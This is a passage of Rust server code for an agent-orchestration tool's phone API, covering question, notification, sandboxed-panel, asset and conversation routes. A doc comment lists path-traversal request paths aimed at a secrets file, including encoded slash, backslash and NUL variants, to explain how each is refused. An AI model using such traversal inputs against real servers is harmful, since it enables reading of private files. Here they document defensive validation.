3474/// `GET /api/questions`.
3475///
3476/// Everything, not just the open ones: an answered question is the record of a
3477/// decision, and the phone is where the operator goes back to check what they
3478/// told an agent at 3am. `ask::Questions::list` already ranks open first.
3479async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
3480    blocking(move || {
3481        Ok(Json(
3482            ui.questions
3483                .list()
3484                .into_iter()
3485                .map(QuestionView::from)
3486                .collect(),
3487        ))
3488    })
3489    .await
3490}
3491
3492/// `GET /api/notifications`: not dismissed, newest first, with the unread
3493/// count so the badge and the list cannot disagree.
3494async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
3495    blocking(move || {
3496        let items = ui.notices.list();
3497        let unread = items.iter().filter(|n| n.unread()).count();
3498        Ok(Json(
3499            serde_json::json!({ "unread": unread, "items": items }),
3500        ))
3501    })
3502    .await
3503}
3504
3505fn notice_error(e: anyhow::Error) -> ApiError {
3506    // An unknown or malformed id and a vanished file are the same answer to
3507    // the phone: that notification is gone.
3508    ApiError::not_found(format!("{e:#}"))
3509}
3510
3511/// `POST /api/notifications/{id}/read`.
3512async fn notification_read(
3513    State(ui): State<Arc<Ui>>,
3514    Path(id): Path<String>,
3515) -> ApiResult<Json<Notice>> {
3516    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
3517}
3518
3519/// `POST /api/notifications/{id}/dismiss`.
3520async fn notification_dismiss(
3521    State(ui): State<Arc<Ui>>,
3522    Path(id): Path<String>,
3523) -> ApiResult<Json<Notice>> {
3524    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
3525}
3526
3527/// `POST /api/notifications/read-all`.
3528async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
3529    blocking(move || {
3530        let changed = ui.notices.mark_all_read()?;
3531        Ok(Json(serde_json::json!({ "marked": changed })))
3532    })
3533    .await
3534}
3535
3536/// The body of `POST /api/questions/{id}/answer`.
3537///
3538/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
3539/// a bad request rather than a guess: an answer magi invented is worse than a
3540/// question left open.
3541#[derive(Debug, Default, Deserialize)]
3542#[serde(default, deny_unknown_fields)]
3543struct NewAnswer {
3544    choice: Option<String>,
3545    text: Option<String>,
3546}
3547
3548async fn question_answer(
3549    State(ui): State<Arc<Ui>>,
3550    Path(id): Path<String>,
3551    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
3552) -> ApiResult<Json<QuestionView>> {
3553    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3554    let answer = match (body.choice, body.text) {
3555        (Some(c), None) => Answer::Choice(c),
3556        (None, Some(t)) => Answer::Text(t),
3557        (Some(_), Some(_)) => {
3558            return Err(ApiError::bad_request(
3559                "send either `choice` or `text`, not both",
3560            ));
3561        }
3562        (None, None) => {
3563            return Err(ApiError::bad_request("send a `choice` or a `text`"));
3564        }
3565    };
3566
3567    blocking(move || {
3568        let id = resolve_question(&ui.questions, &id)?;
3569        let mut q = ui
3570            .questions
3571            .get(&id)
3572            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3573        if !q.status.open() {
3574            // Answered from the terminal, or by another phone, in between the
3575            // list and the tap. The UI shows the recorded answer rather than an
3576            // error, so it needs the record, not just the status.
3577            return Err(ApiError::conflict(format!(
3578                "question {} is already {}",
3579                q.short(),
3580                q.status.as_str()
3581            )));
3582        }
3583        // `Question::answer` owns the rules - an unoffered choice, free text on
3584        // a multiple-choice question, an empty reply - so the route does not
3585        // restate them and cannot drift from the CLI's behaviour.
3586        q.answer(answer).map_err(ApiError::bad_request_from)?;
3587        ui.questions.put(&mut q)?;
3588        Ok(Json(QuestionView::from(q)))
3589    })
3590    .await
3591}
3592
3593/// The body of `POST /api/questions/{id}/say`.
3594#[derive(Debug, Deserialize)]
3595#[serde(deny_unknown_fields)]
3596struct NewSay {
3597    body: String,
3598}
3599
3600/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
3601///
3602/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
3603/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
3604/// file, so there is no turn to serialize against and no
3605/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
3606/// is a *different* process - the run parked behind `magi ask` - and picks
3607/// the reply up on its own poll of the very same file, same as an answer
3608/// does.
3609async fn question_say(
3610    State(ui): State<Arc<Ui>>,
3611    Path(id): Path<String>,
3612    body: std::result::Result<Json<NewSay>, JsonRejection>,
3613) -> ApiResult<Json<QuestionView>> {
3614    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3615    blocking(move || {
3616        let id = resolve_question(&ui.questions, &id)?;
3617        let mut q = ui
3618            .questions
3619            .get(&id)
3620            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3621        if !q.status.open() {
3622            // Same granularity as `question_answer`: answered or abandoned in
3623            // between the list and the tap is not this route's error to
3624            // explain any differently.
3625            return Err(ApiError::conflict(format!(
3626                "question {} is already {}",
3627                q.short(),
3628                q.status.as_str()
3629            )));
3630        }
3631        // `Question::say` owns the one rule that matters here - an empty
3632        // message tells the agent nothing - so the route does not restate it.
3633        q.say(body.body).map_err(ApiError::bad_request_from)?;
3634        ui.questions.put(&mut q)?;
3635        Ok(Json(QuestionView::from(q)))
3636    })
3637    .await
3638}
3639
3640/// Expand an id or short id to exactly one question id.
3641fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3642    if store.path_of(id).is_file() {
3643        return Ok(id.to_owned());
3644    }
3645    pick(
3646        store.list().into_iter().map(|q| q.id).collect(),
3647        id,
3648        "question",
3649    )
3650}
3651
3652/// `GET /api/questions/{id}/panel`.
3653///
3654/// The panel an agent wrote for this question, as `text/html` under
3655/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
3656/// A question without one is a 404 rather than an empty page: the client
3657/// preflights this route with `HEAD` and must be able to tell "no panel" from
3658/// "a panel that rendered blank", and a sandboxed frame is opaque to the
3659/// parent document so it cannot tell the difference by looking.
3660///
3661/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
3662/// sanitises or minifies it - a sanitiser is a list of things someone thought
3663/// of, and the sandbox plus the CSP is a list of things that are allowed, which
3664/// is the direction that stays safe when an agent writes markup nobody
3665/// predicted.
3666async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3667    blocking(move || {
3668        let id = resolve_question(&ui.questions, &id)?;
3669        let Some(html) = ui.questions.panel_html(&id) else {
3670            return Err(ApiError::not_found(format!("question {id} has no panel")));
3671        };
3672        Ok(panel_response(
3673            "text/html; charset=utf-8",
3674            false,
3675            html.into_bytes(),
3676        ))
3677    })
3678    .await
3679}
3680
3681/// `GET /api/questions/{id}/asset/{name}`.
3682///
3683/// One file from the question's own panel directory, so a panel can show a
3684/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
3685/// having to allow anything off this machine.
3686///
3687/// This is the only route in the server where a client names a file, so it is
3688/// the only one with a traversal surface, and the name is checked by
3689/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
3690/// what is worth being explicit about, because the answer is not "all of it in
3691/// one place":
3692///
3693/// * `asset/../../secrets` never reaches this handler at all. axum matches on
3694///   the raw request path and `{name}` spans exactly one segment, so a real
3695///   slash makes the request too long for the route and the router answers 404.
3696/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
3697///   percent-decodes path parameters, so `name` arrives as `../secrets` and
3698///   `..\secrets` respectively, which look like plain filenames to the router.
3699///   The validator refuses them here - both for the literal `..` and because
3700///   `/` and `\` are not in the permitted character set - and answers 400.
3701/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
3702///   the platform's path API is not, and it is refused here for the same
3703///   reason: NUL is not a permitted character.
3704/// * [`Questions::panel_asset`] validates again on read, so the check is not
3705///   load-bearing in only one place. This route's own check exists so the
3706///   failure is a 400 that says which name was wrong, rather than a store error
3707///   the operator has to interpret.
3708async fn question_asset(
3709    State(ui): State<Arc<Ui>>,
3710    Path((id, name)): Path<(String, String)>,
3711) -> ApiResult<Response> {
3712    // Before any filesystem work and before any path is built: a name this
3713    // server will not serve should not become a `PathBuf` at all.
3714    if !crate::ask::valid_asset_name(&name) {
3715        return Err(ApiError::bad_request(format!(
3716            "`{name}` is not a usable asset name"
3717        )));
3718    }
3719    blocking(move || {
3720        let id = resolve_question(&ui.questions, &id)?;
3721        let asset = ui
3722            .questions
3723            .panel_asset(&id, &name)
3724            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3725        let Some(bytes) = asset else {
3726            return Err(ApiError::not_found(format!(
3727                "question {id} has no asset `{name}`"
3728            )));
3729        };
3730        Ok(panel_response(
3731            asset_content_type(&name),
3732            is_svg(&name),
3733            bytes,
3734        ))
3735    })
3736    .await
3737}
3738
3739/// Content type for a panel asset, from a closed whitelist.
3740///
3741/// A whitelist with an `application/octet-stream` fallback rather than a
3742/// guess, because the one answer that must never come out of here is
3743/// `text/html`. An agent that writes `notes.html` into its panel directory and
3744/// links it would otherwise get its own markup rendered at the top level of the
3745/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
3746/// magi's origin - which is precisely the thing the panel design exists to
3747/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
3748///
3749/// `nosniff` accompanies this on every response, so a browser cannot decide it
3750/// knows better than the type we sent.
3751fn asset_content_type(name: &str) -> &'static str {
3752    match extension(name).as_deref() {
3753        Some("png") => "image/png",
3754        Some("jpg" | "jpeg") => "image/jpeg",
3755        Some("gif") => "image/gif",
3756        Some("webp") => "image/webp",
3757        Some("svg") => "image/svg+xml",
3758        Some("css") => "text/css; charset=utf-8",
3759        Some("txt") => "text/plain; charset=utf-8",
3760        _ => "application/octet-stream",
3761    }
3762}
3763
3764/// Is this an SVG, and therefore a file that must never be opened at the top
3765/// level?
3766fn is_svg(name: &str) -> bool {
3767    extension(name).as_deref() == Some("svg")
3768}
3769
3770/// Lowercased extension, or `None` for a name without one.
3771fn extension(name: &str) -> Option<String> {
3772    name.rsplit_once('.')
3773        .map(|(_, ext)| ext.to_ascii_lowercase())
3774}
3775
3776/// Every panel response, with the four headers that make it safe and, for an
3777/// SVG, a fifth.
3778///
3779/// One function rather than a header list per handler, because a panel route
3780/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
3781/// model gone, silently, on one of two routes. Adding a third panel route later
3782/// means calling this, and there is nowhere else to build a panel response.
3783///
3784/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
3785/// as an `<img src>` inside the panel that script cannot run - but the asset
3786/// URL is also a plain URL an operator can be talked into opening in a tab,
3787/// where it is a document on magi's own origin. `Content-Disposition:
3788/// attachment` makes the browser download it instead of rendering it, which
3789/// closes that door without taking away the ability to draw a diff. Raster
3790/// images have no such execution surface and are left inline, so tapping a
3791/// screenshot still shows it.
3792fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3793    let mut res = (
3794        [
3795            (header::CONTENT_TYPE, content_type),
3796            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3797            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3798            (header::REFERRER_POLICY, "no-referrer"),
3799        ],
3800        body,
3801    )
3802        .into_response();
3803    if download {
3804        res.headers_mut().insert(
3805            header::CONTENT_DISPOSITION,
3806            HeaderValue::from_static("attachment"),
3807        );
3808    }
3809    res
3810}
3811
3812/// A talk as the phone reads it.
3813///
3814/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
3815/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
3816/// parses markdown itself - and the process-local `thinking` hint.
3817#[derive(Debug, Serialize)]
3818struct TalkView {
3819    #[serde(flatten)]
3820    talk: Talk,
3821    turn_bodies_md: Vec<Vec<md::Node>>,
3822    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
3823    /// this server process.
3824    ///
3825    /// This is deliberately not durable: another server process cannot see
3826    /// it, and a restarted server must not claim an old turn is live. It is a
3827    /// progress hint rather than proof a reply landed; the transcript remains
3828    /// the source of truth for that.
3829    thinking: bool,
3830}
3831
3832impl TalkView {
3833    fn new(talk: Talk, thinking: bool) -> Self {
3834        let turn_bodies_md = talk
3835            .turns
3836            .iter()
3837            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3838            .collect();
3839        Self {
3840            turn_bodies_md,
3841            thinking,
3842            talk,
3843        }
3844    }
3845}
3846
3847/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
3848/// conversation has filed, so the phone can follow one from inside the
3849/// conversation that asked for it rather than hunting the Queue for a task id
3850/// it may not remember.
3851#[derive(Debug, Serialize)]
3852struct TalkDetailView {
3853    #[serde(flatten)]
3854    view: TalkView,
3855    tasks: Vec<TaskView>,
3856}
3857
3858/// `GET /api/talks`.
3859///
3860/// Every conversation, open ones first and newest first - [`Talks::list`]'s
3861/// own order.
3862async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
3863    blocking(move || {
3864        Ok(Json(
3865            ui.talks
3866                .list()
3867                .into_iter()
3868                .map(|talk| {
3869                    let thinking = ui.is_thinking(&talk.id);
3870                    TalkView::new(talk, thinking)
3871                })
3872                .collect(),
3873        ))
3874    })
3875    .await
3876}
3877
3878/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
3879/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
3880/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
3881/// end still opens a talk against an older binary.
3882#[derive(Debug, Default, Deserialize)]
3883#[serde(default)]
3884struct NewTalk {
3885    agent: Option<String>,
3886    repo: Option<PathBuf>,
3887}
3888
3889/// `POST /api/talks` - open a conversation. Takes no agent turn: see
3890/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
3891async fn talk_post(
3892    State(ui): State<Arc<Ui>>,
3893    body: std::result::Result<Json<NewTalk>, JsonRejection>,
3894) -> ApiResult<impl IntoResponse> {
3895    // An absent body, or an empty one, is the normal way to open a talk - see
3896    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
3897    // rather than refused.
3898    let body = match body {
3899        Ok(Json(body)) => body,
3900        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3901        Err(e) => return Err(ApiError::bad_request(e.body_text())),
3902    };
3903    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3904    let cfg = config_for(&repo).await?;
3905    let view = blocking(move || {
3906        let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3907        let thinking = ui.is_thinking(&talk.id);
3908        Ok(TalkView::new(talk, thinking))
3909    })
3910    .await?;
3911    Ok((StatusCode::CREATED, Json(view)))
3912}
3913
3914/// `GET /api/talks/{id}`.
3915async fn talk_detail(
3916    State(ui): State<Arc<Ui>>,
3917    Path(id): Path<String>,
3918) -> ApiResult<Json<TalkDetailView>> {
3919    blocking(move || {
3920        let id = resolve_talk(&ui.talks, &id)?;
3921        let talk = ui.talks.get(&id)?;
3922        let thinking = ui.is_thinking(&talk.id);
3923        let tasks = talk::tasks_of(&ui.queue, &talk.id)
3924            .into_iter()
3925            .map(TaskView::from)
3926            .collect();
3927        Ok(Json(TalkDetailView {
3928            view: TalkView::new(talk, thinking),
3929            tasks,
3930        }))
3931    })
3932    .await
3933}
3934
3935/// The body of `POST /api/talks/{id}/say`.
3936///
3937/// `attachments` names ids `POST /api/talks/{id}/attachments` already
3938/// returned - never bytes of its own - so a turn with no images just omits
3939/// the field, which is what an older front end still does.
3940#[derive(Debug, Default, Deserialize)]
3941#[serde(default, deny_unknown_fields)]
3942struct NewTalkTurn {
3943    text: String,
3944    attachments: Vec<String>,
3945}
3946
3947#[derive(Debug, Deserialize)]
3948#[serde(deny_unknown_fields)]
3949struct EditTalkPending {
3950    text: String,
3951    expected_text: String,
3952    expected_attachments: Vec<String>,
3953}
3954
3955#[derive(Debug, Deserialize)]
3956#[serde(deny_unknown_fields)]
3957struct ClearTalkPending {
3958    expected_text: String,
3959    expected_attachments: Vec<String>,
3960}
3961
3962/// `POST /api/talks/{id}/say` - one turn of the conversation.
3963///
3964/// Not filesystem work, and therefore not routed through [`blocking`]: this
3965/// route spawns an agent CLI and a turn here can run for the whole of
3966/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
3967/// research turn is expected to run commands rather than answer from what it
3968/// already knows. Holding an HTTP connection open that long is not a thing
3969/// to ask a phone to do; the operator's message is recorded and answered for
3970/// immediately, and the reply lands in the background, discovered through
3971/// the change stream's `talks_rev` the same way every other update on this
3972/// surface is.
3973async fn talk_say(
3974    State(ui): State<Arc<Ui>>,
3975    Path(id): Path<String>,
3976    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
3977) -> ApiResult<(StatusCode, Json<TalkView>)> {
3978    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3979    if body.text.trim().is_empty() && body.attachments.is_empty() {
3980        return Err(ApiError::bad_request("say something"));
3981    }
3982
3983    let id = {
3984        let ui = Arc::clone(&ui);
3985        let asked = id.clone();
3986        blocking(move || resolve_talk(&ui.talks, &asked)).await?
3987    };
3988    // A closed Talk never accepts a new immediate or queued turn. Check this
3989    // before claiming a slot so its ordinary domain refusal is a 409, not an
3990    // incidental failure from the later record/queue write.
3991    {
3992        let ui = Arc::clone(&ui);
3993        let id = id.clone();
3994        blocking(move || {
3995            let talk = ui.talks.get(&id)?;
3996            if !talk.status.open() {
3997                return Err(ApiError::conflict(format!(
3998                    "talk {} is {} and takes no more turns",
3999                    talk.short(),
4000                    talk.status.as_str()
4001                )));
4002            }
4003            Ok(())
4004        })
4005        .await?;
4006    }
4007
4008    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
4009    // actually stores, before anything is written - an unknown id is a 4xx
4010    // that names it rather than a turn (or a queued draft) silently missing
4011    // an image.
4012    let attachments = {
4013        let ui = Arc::clone(&ui);
4014        let id = id.clone();
4015        let ids = body.attachments.clone();
4016        blocking(move || {
4017            ids.into_iter()
4018                .map(|att_id| {
4019                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
4020                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
4021                    })
4022                })
4023                .collect::<ApiResult<Vec<talk::Attachment>>>()
4024        })
4025        .await?
4026    };
4027
4028    // Pending recovery and a new immediate turn are decided under the same
4029    // claim lock. Without that one critical section, a second `/say` can see
4030    // the first request's claim as "busy" and append itself to the recovered
4031    // draft before the first request rejects it.
4032    let start = {
4033        let ui = Arc::clone(&ui);
4034        let id = id.clone();
4035        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
4036    };
4037    let turn_guard = match start {
4038        TalkTurnStart::Claimed(turn_guard) => turn_guard,
4039        TalkTurnStart::Pending => {
4040            return Err(ApiError::conflict(
4041                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
4042            ));
4043        }
4044        TalkTurnStart::Busy => {
4045            // A turn is already running: queue rather than refuse. See
4046            // `Ui::begin_talk_turn` and `talk::queue`.
4047            //
4048            // The queue write and the drain it may owe live inside the task
4049            // `tokio::spawn` hands to the runtime, for the same reason the
4050            // immediate path below puts `record` there: a dropped handler
4051            // future must not be able to land between a durable write and
4052            // the task that answers it. `blocking` runs its closure on
4053            // `spawn_blocking`, which finishes whether or not anyone is left
4054            // to receive its result - so a disconnect at the `.await` below
4055            // would otherwise leave the draft persisted and the reclaimed
4056            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
4057            // ever started and the queued text stranded until some later
4058            // `say` happened to pick it up. The caller's 202 travels back
4059            // over a `oneshot`, sent the moment the write lands.
4060            let (tx, rx) = tokio::sync::oneshot::channel();
4061            tokio::spawn({
4062                let ui = Arc::clone(&ui);
4063                let id = id.clone();
4064                let said = body.text.clone();
4065                async move {
4066                    let written = blocking({
4067                        let ui = Arc::clone(&ui);
4068                        let id = id.clone();
4069                        move || {
4070                            let mut talk = ui.talks.get(&id)?;
4071                            // A test-only stop point, right before the write
4072                            // an interleaving test needs to pin - see
4073                            // `BusyQueueGate`. `None` in every real server:
4074                            // the field only exists under `#[cfg(test)]`.
4075                            #[cfg(test)]
4076                            if let Some(gate) = ui
4077                                .busy_queue_gate
4078                                .lock()
4079                                .unwrap_or_else(PoisonError::into_inner)
4080                                .take()
4081                            {
4082                                let _ = gate.reached.send(());
4083                                let _ = gate.release.recv();
4084                            }
4085                            if let Err(error) =
4086                                talk::queue(&mut talk, &ui.talks, &said, attachments)
4087                            {
4088                                if let Ok(fresh) = ui.talks.get(&id) {
4089                                    if !fresh.status.open() {
4090                                        return Err(ApiError::conflict(format!(
4091                                            "talk {} is {} and takes no more turns",
4092                                            fresh.short(),
4093                                            fresh.status.as_str()
4094                                        )));
4095                                    }
4096                                }
4097                                return Err(ApiError::from(error));
4098                            }
4099                            // The turn that looked busy a moment ago can have
4100                            // finished, found nothing to drain and given up the
4101                            // slot in the gap between that check and this write
4102                            // landing - see `drain_loop`'s own doc for the other
4103                            // half of why that gap would otherwise be able to
4104                            // open at all. Reclaiming the slot here, rather than
4105                            // trusting that whoever held it is still watching, is
4106                            // what stops the text just queued from being stranded
4107                            // until an unrelated future `say` happens to drain
4108                            // it.
4109                            let claim = match ui.begin_queued_talk_turn(&id)? {
4110                                Some(turn_guard) => {
4111                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
4112                                    Some((talk.clone(), cfg, turn_guard))
4113                                }
4114                                None => None,
4115                            };
4116                            let thinking = ui.is_thinking(&id);
4117                            Ok((TalkView::new(talk, thinking), claim))
4118                        }
4119                    })
4120                    .await;
4121                    let (view, reclaimed) = match written {
4122                        Ok(pair) => pair,
4123                        Err(e) => {
4124                            // Nobody is listening if the handler's own future
4125                            // was already dropped - that is fine, nothing was
4126                            // persisted and there is no response left to carry
4127                            // this error to.
4128                            let _ = tx.send(Err(e));
4129                            return;
4130                        }
4131                    };
4132                    // If this fails, the caller is gone; the drain below still
4133                    // runs exactly as it would have for a caller that stayed.
4134                    let _ = tx.send(Ok(view));
4135                    if let Some((talk, cfg, turn_guard)) = reclaimed {
4136                        let talks = ui.talks.clone();
4137                        drain_loop(talk, talks, cfg, id, turn_guard).await;
4138                    }
4139                }
4140            });
4141            let view = rx
4142                .await
4143                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4144            return Ok((StatusCode::ACCEPTED, Json(view)));
4145        }
4146    };
4147
4148    let (talk, cfg) = {
4149        let ui = Arc::clone(&ui);
4150        let id = id.clone();
4151        blocking(move || {
4152            let talk = ui.talks.get(&id)?;
4153            let (cfg, _) = Config::discover(&talk.repo, None)?;
4154            Ok((talk, cfg))
4155        })
4156        .await?
4157    };
4158
4159    let talks = ui.talks.clone();
4160    // `record` runs *inside* the spawned task, rather than in this handler
4161    // followed by a separate `tokio::spawn` for `respond` - axum drops this
4162    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
4163    // doc), and that drop can land at any `.await` this function makes,
4164    // including one that has already produced its result but not yet
4165    // resumed. A message could end up recorded on disk with the handler
4166    // future gone before it ever reached the `tokio::spawn` that would have
4167    // started the reply. `tokio::spawn` itself is a plain, synchronous call
4168    // that hands the whole future to the runtime as one unit - once made, no
4169    // later drop of *this* handler's own future (that call's return value is
4170    // never held onto here) can reach back in and stop it, so record and the
4171    // hand-off to `respond` are unconditionally atomic from the client's
4172    // point of view. The immediate response this handler owes the caller
4173    // travels back over a `oneshot`, sent the moment `record` succeeds.
4174    let (tx, rx) = tokio::sync::oneshot::channel();
4175    tokio::spawn({
4176        let ui = Arc::clone(&ui);
4177        let talks = talks.clone();
4178        let id = id.clone();
4179        let said = body.text.clone();
4180        let mut talk = talk.clone();
4181        async move {
4182            let recorded = blocking({
4183                let talks = talks.clone();
4184                move || {
4185                    if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
4186                        if let Ok(fresh) = talks.get(&talk.id) {
4187                            if !fresh.status.open() {
4188                                return Err(ApiError::conflict(format!(
4189                                    "talk {} is {} and takes no more turns",
4190                                    fresh.short(),
4191                                    fresh.status.as_str()
4192                                )));
4193                            }
4194                        }
4195                        return Err(ApiError::from(error));
4196                    }
4197                    // `record` mutates `talk` in place to the freshly persisted
4198                    // state (status, pending, and the just-appended operator
4199                    // turn), so returning it here is equivalent to re-reading it
4200                    // from disk - without the extra round trip a re-read would
4201                    // need.
4202                    Ok((said.trim().to_owned(), talk))
4203                }
4204            })
4205            .await;
4206            let (text, mut talk) = match recorded {
4207                Ok(pair) => pair,
4208                Err(e) => {
4209                    // Nobody is listening if the handler's own future was
4210                    // already dropped - that is fine, there is no response
4211                    // left to carry this error to and nothing was persisted.
4212                    let _ = tx.send(Err(e));
4213                    return;
4214                }
4215            };
4216            let queued = talk.clone();
4217            let thinking = ui.is_thinking(&id);
4218            // If this fails, the caller is gone; the turn still runs below
4219            // exactly as it would have for a caller that stayed connected.
4220            let _ = tx.send(Ok((queued, thinking)));
4221
4222            if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
4223                // `respond` records the failure in the transcript itself,
4224                // which is what the phone reads; this line is for the
4225                // operator's terminal.
4226                tracing::warn!("talk {id} turn failed: {e:#}");
4227            }
4228            // Anything `talk::queue` added while the turn above was running
4229            // is still owed an answer - see `drain_loop`.
4230            drain_loop(talk, talks, cfg, id, turn_guard).await;
4231        }
4232    });
4233
4234    let (queued, thinking) = rx
4235        .await
4236        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4237
4238    // 202: the operator's message is recorded and a turn is running.
4239    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
4240}
4241
4242/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
4243/// changing it. The turn guard is the same per-talk ownership `talk_say`
4244/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
4245async fn talk_pending_resume(
4246    State(ui): State<Arc<Ui>>,
4247    Path(id): Path<String>,
4248) -> ApiResult<(StatusCode, Json<TalkView>)> {
4249    let id = {
4250        let ui = Arc::clone(&ui);
4251        let asked = id.clone();
4252        blocking(move || resolve_talk(&ui.talks, &asked)).await?
4253    };
4254    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
4255        return Err(ApiError::conflict(
4256            "a talk turn is already running; the queued draft will be handled by it",
4257        ));
4258    };
4259    let (talk, cfg) = {
4260        let ui = Arc::clone(&ui);
4261        let id = id.clone();
4262        blocking(move || {
4263            let talk = ui.talks.get(&id)?;
4264            if !talk.status.open() {
4265                return Err(ApiError::conflict(format!(
4266                    "talk {} is {} and takes no more turns",
4267                    talk.short(),
4268                    talk.status.as_str()
4269                )));
4270            }
4271            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
4272                return Err(ApiError::conflict("there is no queued draft to resume"));
4273            }
4274            let (cfg, _) = Config::discover(&talk.repo, None)?;
4275            Ok((talk, cfg))
4276        })
4277        .await?
4278    };
4279    let view = TalkView::new(talk.clone(), true);
4280    let talks = ui.talks.clone();
4281    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4282    Ok((StatusCode::ACCEPTED, Json(view)))
4283}
4284
4285/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
4286/// releasing `turn` only once a check finds it truly empty. Shared by both
4287/// callers that can end up owning a talk's turn slot with something already
4288/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
4289/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
4290/// holder just gave up - see the comment at that call site.
4291///
4292/// The release is folded into the final generation check under `turn`'s own
4293/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
4294/// free". Before its blocking `talk::drain`, this loop observes the queued
4295/// generation. A `say` that sees the turn busy writes its draft, then advances
4296/// that generation. Thus, if it lands while the drain is in flight, the final
4297/// check observes the advance and drains again; otherwise it releases the
4298/// claim while holding the same lock. This keeps the release/arrival handoff
4299/// atomic without holding the global claim mutex across filesystem I/O.
4300async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
4301    let live_set = Arc::clone(&turn.turns);
4302    // `Option` rather than binding `turn` directly to a `_turn` that lives
4303    // for the whole function: releasing it has to happen by calling
4304    // `TalkTurnGuard::release` from inside the locked branch below, which
4305    // takes `self` by value. Left as a plain drop instead, `Drop` would still
4306    // remove the id - correctly, if this loop is ever left some other way -
4307    // but doing it there misses the lock this loop is already holding, which
4308    // is the exact gap `release` exists to close.
4309    let mut turn = Some(turn);
4310    loop {
4311        // `talk::drain` takes the store lock and can write/rename the talk
4312        // file. Keep the turn mutex out of that synchronous work: it protects
4313        // every talk's in-memory claim, not this talk's disk operation.
4314        let observed = live_set
4315            .lock()
4316            .unwrap_or_else(PoisonError::into_inner)
4317            .queued
4318            .get(&id)
4319            .copied()
4320            .unwrap_or(0);
4321        let drained = blocking({
4322            let talks = talks.clone();
4323            move || {
4324                let result = talk::drain(&mut talk, &talks);
4325                Ok((talk, result))
4326            }
4327        })
4328        .await;
4329        let (next_talk, result) = match drained {
4330            Ok(drained) => drained,
4331            Err(e) => {
4332                tracing::warn!(
4333                    status = %e.status,
4334                    message = %e.message,
4335                    "talk {id} could not start queued-text drain"
4336                );
4337                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4338                turn.take()
4339                    .expect("held for the whole loop until released here")
4340                    .release(&mut live);
4341                break;
4342            }
4343        };
4344        talk = next_talk;
4345        let drained = match result {
4346            Ok(Some(drained)) => drained,
4347            Ok(None) => {
